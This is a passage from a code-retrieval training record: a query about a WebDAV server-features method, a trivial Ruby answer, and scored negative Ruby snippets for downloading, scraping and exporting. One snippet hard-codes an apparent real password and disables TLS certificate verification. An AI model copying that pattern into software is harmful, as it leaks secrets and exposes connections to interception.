distance_in_minutes = ((((to_time - from_time).abs) % 3600) / 60).round\n\n difference_in_words = ''\n\n difference_in_words << \"#{distance_in_hours} #{distance_in_hours > 1 ? 'hours' : 'hour' } and \" if distance_in_hours > 0\n difference_in_words << \"#{distance_in_minutes} #{distance_in_minutes == 1 ? 'minute' : 'minutes' }\"\n\n email = FabricationUser.find_by(name: data.name).email\n\n \t \t\t\trow.push \"#{data.name}\"\n \t \t\t\trow.push \"#{data.project}\"\n \t \t\t\trow.push \"#{data.printer}\"\n \t \t\t\trow.push \"#{data.volume}\"\n \t \t\t\trow.push \"#{data.from_time.strftime \"%Y-%m-%d\"}\"\n row.push \"#{difference_in_words}\"\n row.push \"#{email}\"\n \t \t\t\trow.push \"#{data.notes}\"\n rownum += 1\n \t \t\tend\n \t \tend\n \t \t\n #name file\n \t\t@outfile = \"Printer_Data_#{selection.from_time.strftime \"%Y-%m-%d\"}_to_#{selection.to_time.strftime \"%Y-%m-%d\"}.xls\"\n \t\tPrinterSelection.delete_all\n \t\t\n \trequire 'stringio'\n \tdata = StringIO.new ''\n #write to book\n \tbook.write data\n #initiate download\n \tsend_data data.string, :type=>\"application/excel\", :disposition=>'attachment', :filename => @outfile\n end",
"def find_download_url(page)\n matches = page.body.match(DOWNLOAD_URL_REGEX)\n return unless matches || matches[:url].blank?\n matches[:url].gsub('&', '&')\n end",
"def grab_html\n\t\t@unbendable_html = HTTParty.get('http://finance.yahoo.com/q?s=TSLA')\n\tend",
"def download_link\n \"http://#{self.registered_download.brand.default_website.url}/#{self.registered_download.url}/get_it/#{self.download_code}\"\n end",
"def AxeDownload(download)\n uri = URI('https://axeweb.intel.com/axe/api/testlist/295/latest/combined')\n puts uri\n req = Net::HTTP::Get.new(uri)\n req.basic_auth 'autoclient', 'gr@ph1c$'\n \n if download\n print \"#{Time.now.strftime(\"%l:%M:%S %p\")} - Start download\\n\"\n res = Net::HTTP.start(uri.hostname, uri.port, :use_ssl => true, :verify_mode => OpenSSL::SSL::VERIFY_NONE) {|http|\n http.request(req)\n }\n #puts res.body\n \n unless res.kind_of? Net::HTTPSuccess\n puts \"Error downloading results from Axe\"\n exit(9)\n end\n open('result.json', 'wb') do |fileAXE|\n fileAXE << res.body\n end\n print \"#{Time.now.strftime(\"%l:%M:%S %p\")} - End download\\n\"\n end\nend",
"def index\n @downloads = Download.all\n if params[:q] =~/^http/\n html=params[:q]\n a=open(html).read\n @b=Nokogiri::HTML(a)\n @z={}\n @qwe|=[]\n params[:spec]||=0\n\n @img=@b.css(\".file img\")\n\n @title=@b.css(\"head title\").to_s[7..-10].split('-') \n #find title, turn string into array [\"/gif/ \", \" Braless Thread \", \" Adult GIF \", \" 4chan\"]\n #@title[1]=Thread Name ,@title[2]=Board Name ,\n\n\n\n\n\n\n end\n\n\n end",
"def scrape()\n scrapeForCurrentData\n end",
"def process_page(folderpage, folderpath, folderpath_hidden, agent)\n folderpage.search('//div[@id=\"messages\"]/ul/li/dl').each do |msg|\n\n elm = msg.xpath('.//dt/label/input').first\n if elm[\"name\"] != \"did\"\n $stderr.puts \"Error. HTML may have changed, and script needs updating.\"\n $stderr.puts reason\n exit 1\n end\n\n did = elm[\"value\"]\n title = msg.xpath('.//dt/label/span').first.content\n sender = msg.xpath('.//dd[@class=\"content\"]/span').first.content\n links = msg.xpath('.//dd[@class=\"content\"]/ul/li/a')\n date = msg.xpath('.//dd[@class=\"actions\"]/span').first.content.split('-').reverse.join('-')\n\n puts \" - found Document ID: #{did} from #{date} (\\\"#{sender} - #{title}\\\")\"\n\n links.each do |link|\n doctitle = title\n doctitle = \"#{title} (#{link[\"title\"]})\" if link[\"title\"] != title # Attachment\n query_args = link[\"href\"].split('?', 2)[1]\n duid = query_args.match(/duid=(\\w+)&/).captures.first\n url = \"https://download.e-boks.dk/privat/download.aspx?#{query_args.gsub('&', '&')}\" # don't ask - the link is pseudo-escaped from e-boks's side\n file = \"#{did}-#{duid}.pdf\"\n\n if File.exist? \"#{folderpath_hidden}/#{file}\"\n puts \" already downloaded, skipping.\"\n next\n else\n puts \" downloading #{did} (#{doctitle})\"\n File.open(\"#{folderpath_hidden}/#{file}\", \"w\") { |f| f.write agent.get_file(url) }\n\n doctitle.gsub!(/\\//, ':')\n\n # Determine filename, uniquifying if necessary\n filename = \"#{date} - #{sender} - #{doctitle}\"\n i = 2\n while File.exist?(\"#{folderpath}/#{filename}.pdf\")\n filename = \"#{date} - #{sender} - #{doctitle} (#{i})\"\n i += 1\n end\n\n if SYMLINK\n File.symlink(\".documents/#{file}\", \"#{folderpath}/#{filename}.pdf\")\n else\n File.link(\"#{folderpath_hidden}/#{file}\", \"#{folderpath}/#{filename}.pdf\")\n end\n end\n end\n end\nend",
"def download(f)\n result = \"\"\n prefix = \"dat/\"\n file_names = \"name.dat.txt\"\n file_surna = \"surnames.dat.txt\" \n file_words = \"words.dat.txt\"\n http_names_m = \"http://www.census.gov/genealogy/names/dist.male.first\"\n http_names_f = \"http://www.census.gov/genealogy/names/dist.female.first\"\n http_surnames = \"http://www.census.gov/genealogy/names/dist.all.last\"\n http_words = \"http://www.mieliestronk.com/corncob_lowercase.zip\"\n\n case f\n when 'names'\n print \"Downloading names ... [BUSY]\"\n nm_uri = URI.parse(http_names_m)\n nf_uri = URI.parse(http_names_f)\n (open(nm_uri).read + open(nf_uri).read).each_line {|m|\n result += m.split(/\\s+/)[0].capitalize + \"\\n\"\n }\n File.open(prefix + file_names, \"w\").write( result )\n print \"\\b\\b\\b\\b\\b\\b[DONE]\\n\"\n when 'surnames'\n print \"Downloading surnames ... [BUSY]\"\n sr_uri = URI.parse(http_surnames)\n (open(sr_uri).read).each_line {|m|\n result += m.split(/\\s+/)[0].capitalize + \"\\n\"\n }\n File.open(prefix + file_surna, \"w\").write ( result )\n print \"\\b\\b\\b\\b\\b\\b[DONE]\\n\"\n when 'words'\n print \"Downloading words ... [BUSY]\"\n wr_uri = URI.parse(http_words)\n # Store the zipfile\n File.open(prefix + file_words, \"w\").write(wr_uri.read)\n unzip(prefix + file_words)\n print \"\\b\\b\\b\\b\\b\\b[DONE]\\n\"\n end\n end",
"def search_and_fetch_jobs\n feed = RSS::Parser.parse(open(target_url_with_query))\n feed.items.take(10)\n end",
"def get_files(cookie_jar, regex, destdir, bb_pdf_index)\n mech = Mechanize.new\n mech.cookie_jar = cookie_jar\n\n page = mech.get(bb_pdf_index)\n puts \"PageTitle: \" + page.title\n\n page.links_with(:href => regex).each do |link|\n puts \"downloading: \" + link.href\n f = mech.get(link.href)\n puts \"---downloaded: \" + f.filename\n loc = destdir + f.filename\n puts \"---saving to: \" + loc\n f.save(loc)\n end\nend",
"def get_response_url\n\tdoc = Nokogiri::HTML(open(lease_break_url))\nend"
] |
[
"0.65615314",
"0.63855296",
"0.6320158",
"0.62340295",
"0.6208372",
"0.61435944",
"0.60363513",
"0.6026494",
"0.5920664",
"0.5916873",
"0.58959883",
"0.5844194",
"0.57742417",
"0.5763967",
"0.57567656",
"0.5755375",
"0.5755358",
"0.5744359",
"0.573881",
"0.5736781",
"0.5734873",
"0.5734461",
"0.5719505",
"0.5691517",
"0.568492",
"0.56833106",
"0.5680709",
"0.5663817",
"0.56346077",
"0.56207985",
"0.56122816",
"0.56104094",
"0.56013364",
"0.5597248",
"0.55935353",
"0.55858034",
"0.55699486",
"0.55465436",
"0.5542816",
"0.5529047",
"0.5524078",
"0.5520453",
"0.55191505",
"0.5487106",
"0.54807353",
"0.54746777",
"0.545603",
"0.54541737",
"0.5451234",
"0.5448412",
"0.5447012",
"0.5443985",
"0.5439455",
"0.5425552",
"0.541804",
"0.5411225",
"0.5406878",
"0.5405836",
"0.5397196",
"0.5393326",
"0.53704983",
"0.5369655",
"0.53682363",
"0.5353963",
"0.5346677",
"0.5337215",
"0.53323287",
"0.5328293",
"0.53243333",
"0.5324163",
"0.530439",
"0.53037184",
"0.5302082",
"0.529988",
"0.5297727",
"0.5295214",
"0.5291261",
"0.5290696",
"0.52878696",
"0.52865463",
"0.52738553",
"0.5269108",
"0.526849",
"0.5264309",
"0.52524906",
"0.52469605",
"0.52427846",
"0.52409565",
"0.52382445",
"0.52350855",
"0.5233874",
"0.52336705",
"0.52329785",
"0.5226625",
"0.5222921",
"0.5221662",
"0.52212787",
"0.5215795",
"0.5210923",
"0.5208459",
"0.52037454"
] |
0.0
|
-1
|
This method should return a list of serverfeatures. This is for example 'versioning' and is added to the DAV: header in an OPTIONS response.
|
def features
[]
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def all_flags\n res = get_request 'features'\n if res.status == 200\n JSON.parse(res.body, symbolize_names: true)\n else\n @config.logger.error(\"[LDClient] Unexpected status code #{res.status}\")\n {}\n end\n end",
"def all_flags\n res = get_request 'features'\n if res.status == 200\n JSON.parse(res.body, symbolize_names: true)\n else\n @config.logger.error(\"[LDClient] Unexpected status code #{res.status}\")\n {}\n end\n end",
"def features\n @client.smembers(FeaturesKey.to_s).to_set\n end",
"def features\n validate_loaded\n resource = FEATURES % { id: @id }\n response = Request.new(client, :get, resource).perform\n response.body[:data]\n end",
"def features\n return @discovery_document['features'] || []\n end",
"def features(version)\n feature_setup.include?(version) ? feature_names : []\n end",
"def get_features()#:nodoc:\n # These features are more or less accurate. Many values couldn't be verified because\n # they are used in context of Java programming language a sometimes Nokogiri just\n # dont't provide any information on the feature\n\n features = {\n \"external-general-entities\" => false,\n \"external-parameter-entities\" => false,\n \"is-standalone\" => false, #Zjistit jak ziskat z dokumentu standalone\n \"lexical-handler/parameter-entities\" => false,\n \"namespaces\" => true,\n \"namespace-prefixes\" => true,\n \"resolve-dtd-uris\" => false,\n \"string-interning\" => false,\n \"unicode-normalization-checking\" => true, #Nokogiri probably supports this, needs to be verified\n \"use-attributes2\" => false,\n \"use-locator2\" => false,\n \"use-entity-resolver2\" => false,\n \"validation\" => true, #Nokogiri is probably reporting erros\n \"xmlns-uris\" => true, #Nokogiri is probably treating xmlns declarations as part of xmlns namespace\n \"xml-1.1\" => false #Don't know\n }\n\n return features\n end",
"def get_features_info\n get_uri = @controller.get_node_operational_uri(self)\n response = @controller.rest_agent.get_request(get_uri)\n check_response_for_success(response) do |body|\n if body.has_key?('node') && body['node'].is_a?(Array) &&\n body['node'][0].has_key?('flow-node-inventory:switch-features')\n properties = body['node'][0]['flow-node-inventory:switch-features']\n feature_info = {'max_tables' => properties['max_tables'],\n 'max_buffers' => properties['max_buffers']}\n capabilities = []\n properties['capabilities'].each do |capability|\n capabilities << capability.gsub('flow-node-inventory:flow-feature-capability-', '')\n end\n feature_info['capabilities'] = capabilities\n NetconfResponse.new(NetconfResponseStatus::OK, feature_info)\n else\n NetconfResponse.new(NetconfResponseStatus::DATA_NOT_FOUND)\n end\n end\n end",
"def listfeatures\n myfeatures=Array.new\n for f in self.features\n myfeatures << f.title\n myfeatures << f.description\n end\n return myfeatures.join(\" \")\n end",
"def supported_features\n\t\treturn self.supported_feature_oids.collect {|oid| FEATURE_NAMES[oid] || oid }\n\tend",
"def features\n feature_files.map do |feature_file|\n file_contents = feature_file.download\n {\n title: file_contents.split(\"\\n\").grep(/^\\s*Feature/).join,\n text: feature_file.download,\n }\n end\n end",
"def features\n @features ||= {}\n @features.keys\n end",
"def server_flags; end",
"def features\n s = Set.new\n @plugins.each { |x| s += x.features }\n s\n end",
"def features\n features = {}\n sexp_newtype_block.each do |s|\n if s[0] == :command and\n s[1][0..1] == [:@ident, \"feature\"] and\n s[2][0] == :args_add_block\n\n name = s[2][1][0][1][1][1]\n desc = s[2][1][1][1][1][1]\n\n features[name] = desc\n end\n end\n\n features\n end",
"def features_requested\n if !defined?(@_requested_features)\n @_requested_features = ENV[\"VAGRANT_EXPERIMENTAL\"].to_s.downcase.split(',')\n end\n @_requested_features\n end",
"def index\n respond_with(features)\n end",
"def features\n @features ||= Features.from_grpc @grpc\n end",
"def index\n respond_with(features)\n end",
"def features\n result = []\n @geojson_file[:features].each do |f|\n if f[:properties] && f[:properties][:type] == 'Building'\n result << URBANopt::GeoJSON::Building.new(f)\n elsif f[:properties] && f[:properties][:type] == 'District System'\n result << URBANopt::GeoJSON::DistrictSystem.new(f)\n end\n end\n return result\n end",
"def list_features *args\r\n puts \"not implemented yet\"\r\n end",
"def server_settings\n [\n {\n url: \"https://api.shipengine.com\",\n description: \"No description provided\",\n }\n ]\n end",
"def supported_feature_oids\n\t\treturn self.root_dse[:supportedFeatures]\n\tend",
"def features\n []\n end",
"def options\n add_dav_header\n response['Allow'] = 'OPTIONS,HEAD,GET,PUT,POST,DELETE,PROPFIND,PROPPATCH,MKCOL,COPY,MOVE,LOCK,UNLOCK'\n response['Ms-Author-Via'] = 'DAV'\n OK\n end",
"def features\n @inventory.features(self).to_a\n end",
"def download_and_install_features\n server_xml = File.join(current_server_dir, SERVER_XML)\n feature_manager = FeatureManager.new(@app_dir, @java_home, @configuration)\n feature_manager.download_and_install_features(server_xml, liberty_home)\n end",
"def features\n ['calendar-access', 'calendar-proxy']\n end",
"def configured_feature_flags\n feature_flag_options.sort_by(&:name).map(&:to_h).reduce({}, :merge).with_indifferent_access\n end",
"def get_server_properties\n http_get(:uri=>\"/server/properties\", :fields=>x_cookie)\n end",
"def options\n response_headers = {\n 'Access-Control-Allow-Methods' => 'POST, OPTIONS',\n 'Access-Control-Allow-Headers' => 'Content-Type',\n 'Access-Control-Max-Age' => '86400'\n }\n\n [204, response_headers.merge(cors_allow_header), []]\n end",
"def features\n set_members(FeaturesKey)\n end",
"def update_features(client_id)\n response = self.class.put(\"https://app.klipfolio.com/api/1.0/clients/#{client_id}/features\", basic_auth: @auth, headers: { \"Content-Type\" => \"application/json\" },\n body: {\n features:[{\"name\":\"public_dashboards\",\"enabled\":true},\n {\"name\":\"published_dashboards\",\"enabled\":true},\n {\"name\":\"downloadable_reports\",\"enabled\":true},\n {\"name\":\"scheduled_emails\",\"enabled\":true}]\n }.to_json)\n puts response.body\n puts \"Client's features were updated.\" if response.success?\n end",
"def passive\n\tm=[]\n\n\t# Version Detection # HTTP Server Header\n\tif @headers[\"server\"] =~ /^dwhttpd\\/([^\\s]+) \\(([^\\s^;^\\)]+; [^\\s^\\)]+)\\)$/\n\t\tm << { :version=>\"#{$1}\" }\n\t\tm << { :string=>\"#{$2}\" }\n\tend\n\n\t# Return passive matches\n\tm\nend",
"def apartment_features\n apartment_features = {}\n apartment_features.merge!(APARTMENT_FEATURES)\n features_unavailable.each { |feature| apartment_features[feature] = false }\n apartment_features\n end",
"def list_feature_status()\n\t\t\tkparams = {}\n\t\t\tclient.queue_service_action_call('partner', 'listFeatureStatus', kparams);\n\t\t\tif (client.is_multirequest)\n\t\t\t\treturn nil;\n\t\t\tend\n\t\t\treturn client.do_queue();\n\t\tend",
"def get_capability_server_schema_descriptor_list_with_http_info(opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: CapabilityApi.get_capability_server_schema_descriptor_list ...'\n end\n allowable_values = [\"allpages\", \"none\"]\n if @api_client.config.client_side_validation && opts[:'inlinecount'] && !allowable_values.include?(opts[:'inlinecount'])\n fail ArgumentError, \"invalid value for \\\"inlinecount\\\", must be one of #{allowable_values}\"\n end\n # resource path\n local_var_path = '/api/v1/capability/ServerSchemaDescriptors'\n\n # query parameters\n query_params = opts[:query_params] || {}\n query_params[:'$filter'] = opts[:'filter'] if !opts[:'filter'].nil?\n query_params[:'$orderby'] = opts[:'orderby'] if !opts[:'orderby'].nil?\n query_params[:'$top'] = opts[:'top'] if !opts[:'top'].nil?\n query_params[:'$skip'] = opts[:'skip'] if !opts[:'skip'].nil?\n query_params[:'$select'] = opts[:'select'] if !opts[:'select'].nil?\n query_params[:'$expand'] = opts[:'expand'] if !opts[:'expand'].nil?\n query_params[:'$apply'] = opts[:'apply'] if !opts[:'apply'].nil?\n query_params[:'$count'] = opts[:'count'] if !opts[:'count'].nil?\n query_params[:'$inlinecount'] = opts[:'inlinecount'] if !opts[:'inlinecount'].nil?\n query_params[:'at'] = opts[:'at'] if !opts[:'at'].nil?\n query_params[:'tags'] = opts[:'tags'] if !opts[:'tags'].nil?\n\n # header parameters\n header_params = opts[:header_params] || {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json', 'text/csv', 'application/vnd.openxmlformats-officedocument.spreadsheetml.sheet'])\n\n # form parameters\n form_params = opts[:form_params] || {}\n\n # http body (model)\n post_body = opts[:debug_body]\n\n # return_type\n return_type = opts[:debug_return_type] || 'CapabilityServerSchemaDescriptorResponse'\n\n # auth_names\n auth_names = opts[:debug_auth_names] || ['cookieAuth', 'http_signature', 'oAuth2', 'oAuth2']\n\n new_options = opts.merge(\n :operation => :\"CapabilityApi.get_capability_server_schema_descriptor_list\",\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => return_type\n )\n\n data, status_code, headers = @api_client.call_api(:GET, local_var_path, new_options)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: CapabilityApi#get_capability_server_schema_descriptor_list\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"def options\n response_headers = {\n 'Access-Control-Allow-Methods' => 'POST, GET, PUT, OPTIONS, DELETE',\n 'Access-Control-Allow-Headers' => 'Content-Type',\n 'Access-Control-Max-Age' => '86400'\n }\n\n [204, response_headers.merge(cors_allow_header), []]\n end",
"def process_options(cli, request)\r\n vprint_status(\"OPTIONS #{request.uri}\")\r\n headers = {\r\n 'MS-Author-Via' => 'DAV',\r\n 'DASL' => '<DAV:sql>',\r\n 'DAV' => '1, 2',\r\n 'Allow' => 'OPTIONS, TRACE, GET, HEAD, DELETE, PUT, POST, COPY, MOVE, MKCOL, PROPFIND, PROPPATCH, LOCK, UNLOCK, SEARCH',\r\n 'Public' => 'OPTIONS, TRACE, GET, HEAD, COPY, PROPFIND, SEARCH, LOCK, UNLOCK',\r\n 'Cache-Control' => 'private'\r\n }\r\n resp = create_response(207, \"Multi-Status\")\r\n headers.each_pair {|k,v| resp[k] = v }\r\n resp.body = \"\"\r\n resp['Content-Type'] = 'text/xml'\r\n cli.send_response(resp)\r\n end",
"def index\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @service_features }\n end\n end",
"def server_info()\n #This is a stub, used for indexing\n end",
"def flags\n response[\"flags\"]\n end",
"def server_settings\n [\n {\n url: \"https://{subdomain}.{site}\",\n description: \"No description provided\",\n variables: {\n site: {\n description: \"The regional site for Datadog customers.\",\n default_value: \"datadoghq.com\",\n enum_values: [\n \"datadoghq.com\",\n \"us3.datadoghq.com\",\n \"us5.datadoghq.com\",\n \"ap1.datadoghq.com\",\n \"datadoghq.eu\",\n \"ddog-gov.com\"\n ]\n },\n subdomain: {\n description: \"The subdomain where the API is deployed.\",\n default_value: \"api\",\n }\n }\n },\n {\n url: \"{protocol}://{name}\",\n description: \"No description provided\",\n variables: {\n name: {\n description: \"Full site DNS name.\",\n default_value: \"api.datadoghq.com\",\n },\n protocol: {\n description: \"The protocol for accessing the API.\",\n default_value: \"https\",\n }\n }\n },\n {\n url: \"https://{subdomain}.{site}\",\n description: \"No description provided\",\n variables: {\n site: {\n description: \"Any Datadog deployment.\",\n default_value: \"datadoghq.com\",\n },\n subdomain: {\n description: \"The subdomain where the API is deployed.\",\n default_value: \"api\",\n }\n }\n }\n ]\n end",
"def features\n features = Hash[api.get_features(app).body.map{|feature| [feature['name'], feature['enabled']]}]\n actual_features = Hash[api.get_features(target_app).body.map{|feature| [feature['name'], feature['enabled']]}]\n\n features_to_enable = features.select{|feature, enabled| enabled && !actual_features[feature]}\n features_to_disable = actual_features.select{|feature, enabled| enabled && !features[feature]}\n\n action(\"Copying labs features from #{app} and restarting #{target_app}\") do\n features_to_enable.each do |feature|\n puts \"Adding #{feature} to #{target_app}\"\n api.post_feature(feature, target_app)\n end\n\n features_to_disable.each do |feature|\n puts \"Deleting #{feature} from #{target_app}\"\n api.delete_feature(feature, target_app)\n end\n end\n end",
"def servers # Only in Ruby API (1.3 compatible)\n\t\t@settings.servers\n\tend",
"def options\n # echo back access-control-request-headers\n if request.headers[\"Access-Control-Request-Headers\"]\n response[\"Access-Control-Allow-Headers\"] =\n request.headers[\"Access-Control-Request-Headers\"]\n end\n render body: \"\", status: 200\n end",
"def display_features\n puts\n puts \"Features:\"\n @features.each { |feature| puts \" * #{feature}\"}\n puts\n end",
"def create_feature_options\n option_separator\n option_separator 'Feature options:'\n end",
"def get_all_data\n if request.xhr?\n @features = Feature.get_all_feature\n render :json => @features\n end\n end",
"def do_OPTIONS(req, res)\n @logger.debug \"run do_OPTIONS\"\n #res[\"DAV\"] = \"1,2\"\n res[\"DAV\"] = \"1\"\n res[\"MS-Author-Via\"] = \"DAV\"\n super\n end",
"def get_required_features(features)\n end",
"def servers_detailed()\n return get_request(address(\"/servers/detail\"), @token)\n end",
"def servers\n server_structs.map do |server|\n inspect_server(server)\n end\n end",
"def server_settings\n [\n {\n url: \"https://api.samsara.com/v1\",\n description: \"No descriptoin provided\",\n }\n ]\n end",
"def get_capability_server_schema_descriptor_list(opts = {})\n data, _status_code, _headers = get_capability_server_schema_descriptor_list_with_http_info(opts)\n data\n end",
"def server_settings\n [\n {\n url: \"https://api.cammio.me/api/v2\",\n description: \"No description provided\",\n }\n ]\n end",
"def feature_set\n @inventory.features(self)\n end",
"def index\n @privilieges_features = PriviliegesFeature.all\n end",
"def load_features\n unless $LOADED_FEATURES == @loaded_features\n new_features = $LOADED_FEATURES - @loaded_features\n new_features.each do |feature|\n @proxy.proxy Kernel, :require, feature\n @loaded_features << feature\n end\n #@loaded_features += new_features\n end\n end",
"def extensions\n form_data = { 'action' => 'query', 'meta' => 'siteinfo', 'siprop' => 'extensions' }\n res = make_api_request(form_data)\n REXML::XPath.match(res, \"//ext\").inject(Hash.new) do |extensions, extension|\n name = extension.attributes[\"name\"] || \"\"\n extensions[name] = extension.attributes[\"version\"]\n extensions\n end\n end",
"def options\n head :status => 200, :'Access-Control-Allow-Headers' => 'accept, content-type'\n end",
"def get_servers\n\t\t\tbegin\n\t\t\t\tresp = @rs_conn.get('/servers')\n\n\t\t\t\t# 200 Success :: anything else is failure\n\t\t\t\tunless resp.code == \"200\"\n\t\t\t\t\traise \"Error requesting server list. Error code #{resp.code}\"\n\t\t\t\tend\n\t\t\t\t# Convert the output to json\n\t\t\t\tserver_list = JSON.parse(resp.body)\n\t\t\t\treturn server_list\n\t\t\trescue Exception => e\n\t\t\t\traise e\n\t\t\tend\n\t\tend",
"def get_required_features(features)\n features.merge(@features) unless @features.nil?\n end",
"def get_required_features(features)\n features.merge(@features) unless @features.nil?\n end",
"def client_options \n []\n end",
"def options\n OPTIONS.each_with_object({}) do |name, hash|\n hash[name] = raw.fetch(name, nil)\n end\n end",
"def options\n OPTIONS.each_with_object({}) do |name, hash|\n hash[name] = raw.fetch(name, nil)\n end\n end",
"def servers\n result = Gorillib::ModelCollection.new(item_type: Ironfan::Dsl::Server, key_method: :full_name)\n facets.each{ |f| f.servers.each{ |s| result << s } }\n result\n end",
"def server_mechanisms\n mechanisms :server\n end",
"def features(name)\n page = Islay::Pages.definitions[name]\n raise \"The page '#{name}' has not been defined\" if page.nil?\n\n if record = page.record\n record.published_features\n else\n []\n end\n end",
"def interfaces_list\n\t\t[\n\t\t\t{\n\t\t\t\t'uri' => '/',\n\t\t\t\t'method' => 'GET',\n\t\t\t\t'purpose' => 'REST API Structure and Capability Discovery'\n\t\t\t}\n\t\t]\n\tend",
"def options\n opts = fetch('options', {})\n headers = fetch('headers', {})\n if value = accept\n headers[:accept] = value\n end\n opts[:raw] = key?('raw') ? self['raw'] : false\n opts[:headers] = headers unless headers.empty?\n opts\n end",
"def list_feature_stack_configurations_with_http_info(opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: ManagementPlaneApiAggregationServiceConfigurationApi.list_feature_stack_configurations ...'\n end\n # resource path\n local_var_path = '/hpm/features'\n\n # query parameters\n query_params = {}\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n # HTTP header 'Content-Type'\n header_params['Content-Type'] = @api_client.select_header_content_type(['application/json'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n auth_names = ['BasicAuth']\n data, status_code, headers = @api_client.call_api(:GET, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'FeatureStackCollectionConfigurationList')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: ManagementPlaneApiAggregationServiceConfigurationApi#list_feature_stack_configurations\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"def passive\n\tm=[]\n\n\t# Server: SegPache\n\tm << { :os=>\"FreeBSD7\" } if @headers['server'] =~ /SegPache/\n\n\t# X-Powered-By: SegPub\n\tm << { :os=>\"FreeBSD7\" } if @headers['x-powered-by'] =~ /SegPub/\n\n\t# X-Powered-By: SegPod\n\tm << { :os=>\"FreeBSD7\" } if @headers['x-powered-by'] =~ /SegPod/\n\n\t# Return passive matches\n\tm\n\nend",
"def index\n @features = Feature.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @features }\n end\n end",
"def find_features\n @features = if params[ :only ]\n params[ :only ].to_s.split( \",\" ).collect( &:to_sym ).uniq\n\n elsif skip = params[ :skip ] || params[ :exclude ]\n monitored_features.keys - skip.to_s.split( \",\" ).collect( &:to_sym )\n\n else\n monitored_features.keys\n end\n end",
"def all_features\r\n feature_objects.inject([]) {|r, obj| r + obj.features }\r\n end",
"def feature\n @item_attributes.feature.collect {|f| f.to_s}\n end",
"def invert_feature\n raise ApiError, \"Only Site Admin can perform this action\" unless @context.can_administer_site?\n\n items = update_feature_flag\n\n messages =\n if items.count.positive?\n message_key =\n if items.first.featured?\n \"api.feature.messages.featured\"\n else\n \"api.feature.messages.un_featured\"\n end\n [{ type: \"success\", message: I18n.t(message_key) }]\n else\n [{ type: \"error\", message: I18n.t(\"api.feature.messages.failed\") }]\n end\n\n render json: items, root: \"items\", adapter: :json, meta: messages\n end",
"def services()\n return @data[\"access\"][\"serviceCatalog\"]\n end",
"def server_info\n return @server_info if @server_info.present?\n response = request :get, SERVER_INFO_PATH\n @server_info = response.error? ? nil :\n response.result.with_indifferent_access\n end",
"def active_features(options={})\n options = Util.normalized_options options, controller\n ret={}\n features.each {|feature_name,feature| ret[feature_name]=feature if active_internal(feature_name,options)}\n ret\n end",
"def process_options(cli, request, target)\r\n\t\tprint_status(\"Responding to WebDAV OPTIONS request\")\r\n\t\theaders = {\r\n\t\t\t#'DASL' => '<DAV:sql>',\r\n\t\t\t#'DAV' => '1, 2',\r\n\t\t\t'Allow' => 'OPTIONS, GET, PROPFIND',\r\n\t\t\t'Public' => 'OPTIONS, GET, PROPFIND'\r\n\t\t}\r\n\t\tsend_response(cli, '', headers)\r\n\tend",
"def features\n model.instance_variable_get(\"@features\")\n end",
"def passive\n\tm=[]\n\n\t# Proxy-Agent HTTP Header\n\tm << { :name=>\"Proxy-Agent HTTP Header\" } if @headers[\"proxy-agent\"].to_s =~ /^[\\s]*CSCSSM/\n\t# Return passive matches\n\tm\nend",
"def feature_args(ci_gcc_config)\n return [] if ci_gcc_config[:features].nil?\n\n ci_gcc_config[:features].map { |f| \"-f#{f}\" }\n end",
"def restricted_service_point_options(request)\n request.restricted_pickup_service_points.map do |item|\n [item['discoveryDisplayName'], item['id']]\n end\n end",
"def process_options(cli, request)\r\n\t\tprint_status(\"Responding to WebDAV OPTIONS request from #{cli.peerhost}:#{cli.peerport}\")\r\n\t\theaders = {\r\n\t\t\t#'DASL' => '<DAV:sql>',\r\n\t\t\t#'DAV' => '1, 2',\r\n\t\t\t'Allow' => 'OPTIONS, GET, PROPFIND',\r\n\t\t\t'Public' => 'OPTIONS, GET, PROPFIND'\r\n\t\t}\r\n\t\tsend_response(cli, '', headers)\r\n\tend",
"def capabilities\n data[:capabilities]\n end",
"def options\n OPTIONS.each_with_object({}) do |name, hash|\n hash[name] = raw.fetch(name, nil)\n end\n end",
"def active_features\n Redis.current.hgetall(@redis_key).select { |_k, v| v.to_s == 'true' }.map { |k, _v| k.to_sym }\n end",
"def options_response\n render :nothing => true, :status => 200\n\n response.headers['Access-Control-Allow-Origin'] = '*'\n response.headers['Access-Control-Allow-Methods'] = 'POST, GET, PUT, DELETE, OPTIONS'\n response.headers['Access-Control-Allow-Credentials'] = 'true'\n response.headers['Access-Control-Max-Age'] = '86400' # 24 hours\n response.headers['Access-Control-Allow-Headers'] = 'X-Requested-With, X-HTTP-Method-Override, Content-Type, Accept'\n end",
"def index\n # list all features\n options = _params_page\n @features = Central::Storage\n .skip(options[:page] * options[:size])\n .limit(options[:size])\n end",
"def passive\n\tm=[]\n\n\t# Proxy-Agent HTTP Header\n\tm << { :name=>\"Proxy-Agent HTTP Header\" } if @headers[\"proxy-agent\"].to_s =~ /^[\\s]*IWSS/\n\n\t# Return Passive Matches\n\tm\nend",
"def features\n\t\tcollection = []\n\t\tclasses.each do |_class|\n\t\t\t_class.features.each do |feature|\n\t\t\t\tcollection << feature\n\t\t\tend\n\t\tend\n\t\trace.features.each do |feature|\n\t\t\tcollection << feature\n\t\tend\n\t\tfeats.each do |feat|\n\t\t\tcollection << feat\n\t\tend\n\t\tcollection\n\tend",
"def features_path\n @features_path || 'features'\n end",
"def http_options; end",
